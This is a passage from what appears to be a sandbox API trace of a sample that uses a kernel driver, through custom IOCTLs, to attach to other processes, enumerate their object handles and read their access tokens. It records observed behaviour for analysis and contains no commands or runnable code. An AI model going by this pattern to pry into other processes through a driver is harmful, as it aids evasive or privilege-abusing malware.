TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.059] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.060] CloseHandle (hObject=0xc8) returned 1 [0106.060] CloseHandle (hObject=0xc0) returned 1 [0106.060] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.061] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.061] PsAcquireProcessExitSynchronization () returned 0x0 [0106.061] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff88004f095d0) [0106.061] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002151e90, HandleInformation=0x0) returned 0x0 [0106.061] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.061] PsReleaseProcessExitSynchronization () returned 0x2 [0106.061] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0106.061] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.061] ObfDereferenceObject (Object=0xfffffa8002151e90) returned 0x1 [0106.061] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.061] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.061] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0106.061] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.061] PsAcquireProcessExitSynchronization () returned 0x0 [0106.061] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff88004f095d0) [0106.061] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002155f20, HandleInformation=0x0) returned 0x0 [0106.061] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.061] PsReleaseProcessExitSynchronization () returned 0x2 [0106.061] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0106.061] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.061] ObfDereferenceObject (Object=0xfffffa8002155f20) returned 0x1 [0106.061] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.061] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.061] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.061] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.061] PsAcquireProcessExitSynchronization () returned 0x0 [0106.061] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff88004f095d0) [0106.061] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.061] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.062] PsReleaseProcessExitSynchronization () returned 0x2 [0106.062] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0106.062] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.062] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.062] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.062] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.062] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb10) returned 0xc0 [0106.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.062] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020fdb30, HandleInformation=0x0) returned 0x0 [0106.062] ObOpenObjectByPointer (in: Object=0xfffffa80020fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.062] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x12 [0106.062] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.062] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.062] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.062] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.062] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.223] CloseHandle (hObject=0xc8) returned 1 [0106.223] CloseHandle (hObject=0xc0) returned 1 [0106.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.223] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.223] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.223] PsAcquireProcessExitSynchronization () returned 0x0 [0106.223] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff88004f095d0) [0106.223] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001ed4070, HandleInformation=0x0) returned 0x0 [0106.223] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.223] PsReleaseProcessExitSynchronization () returned 0x2 [0106.223] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0106.223] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.223] ObfDereferenceObject (Object=0xfffffa8001ed4070) returned 0x1 [0106.223] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.223] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.223] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x9e, lpOverlapped=0x0) returned 1 [0106.223] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.223] PsAcquireProcessExitSynchronization () returned 0x0 [0106.223] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff88004f095d0) [0106.224] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020fd070, HandleInformation=0x0) returned 0x0 [0106.224] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.224] PsReleaseProcessExitSynchronization () returned 0x2 [0106.224] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0106.224] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.224] ObfDereferenceObject (Object=0xfffffa80020fd070) returned 0x1 [0106.224] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.224] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.224] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.224] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.224] PsAcquireProcessExitSynchronization () returned 0x0 [0106.224] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff88004f095d0) [0106.224] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.224] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.224] PsReleaseProcessExitSynchronization () returned 0x2 [0106.224] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0106.224] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.224] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4c [0106.224] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.224] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.224] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb20) returned 0xc0 [0106.224] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.224] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002117b30, HandleInformation=0x0) returned 0x0 [0106.224] ObOpenObjectByPointer (in: Object=0xfffffa8002117b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.224] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x12 [0106.224] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa8002471ec0 | out: TokenHandle=0xfffffa8002471ec0*=0xc8) returned 0x0 [0106.224] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.225] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.225] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.225] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.226] CloseHandle (hObject=0xc8) returned 1 [0106.226] CloseHandle (hObject=0xc0) returned 1 [0106.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.226] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.226] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.226] PsAcquireProcessExitSynchronization () returned 0x0 [0106.226] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff88004f095d0) [0106.226] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800202a8e0, HandleInformation=0x0) returned 0x0 [0106.226] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.226] PsReleaseProcessExitSynchronization () returned 0x2 [0106.226] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0106.226] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.226] ObfDereferenceObject (Object=0xfffffa800202a8e0) returned 0x1 [0106.226] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.227] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.227] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0106.227] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.227] PsAcquireProcessExitSynchronization () returned 0x0 [0106.227] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff88004f095d0) [0106.227] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002117190, HandleInformation=0x0) returned 0x0 [0106.227] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.227] PsReleaseProcessExitSynchronization () returned 0x2 [0106.227] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0106.227] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.227] ObfDereferenceObject (Object=0xfffffa8002117190) returned 0x1 [0106.227] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.227] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.227] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.227] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.227] PsAcquireProcessExitSynchronization () returned 0x0 [0106.227] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff88004f095d0) [0106.227] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.227] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.227] PsReleaseProcessExitSynchronization () returned 0x2 [0106.227] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0106.227] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.227] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4c [0106.227] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.227] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.227] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb30) returned 0xc0 [0106.227] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.227] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002098890, HandleInformation=0x0) returned 0x0 [0106.227] ObOpenObjectByPointer (in: Object=0xfffffa8002098890, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.228] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x12 [0106.228] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa8002471ec0 | out: TokenHandle=0xfffffa8002471ec0*=0xc8) returned 0x0 [0106.228] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.228] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.228] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.228] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.229] CloseHandle (hObject=0xc8) returned 1 [0106.229] CloseHandle (hObject=0xc0) returned 1 [0106.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.229] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.229] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.229] PsAcquireProcessExitSynchronization () returned 0x0 [0106.229] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff88004f095d0) [0106.229] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020b0a80, HandleInformation=0x0) returned 0x0 [0106.229] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.229] PsReleaseProcessExitSynchronization () returned 0x2 [0106.229] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0106.229] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.230] ObfDereferenceObject (Object=0xfffffa80020b0a80) returned 0x1 [0106.230] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.230] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0106.230] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.230] PsAcquireProcessExitSynchronization () returned 0x0 [0106.230] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff88004f095d0) [0106.230] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020b0330, HandleInformation=0x0) returned 0x0 [0106.230] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.230] PsReleaseProcessExitSynchronization () returned 0x2 [0106.230] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0106.230] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.230] ObfDereferenceObject (Object=0xfffffa80020b0330) returned 0x1 [0106.230] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.230] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.230] RtlAllocateHeap 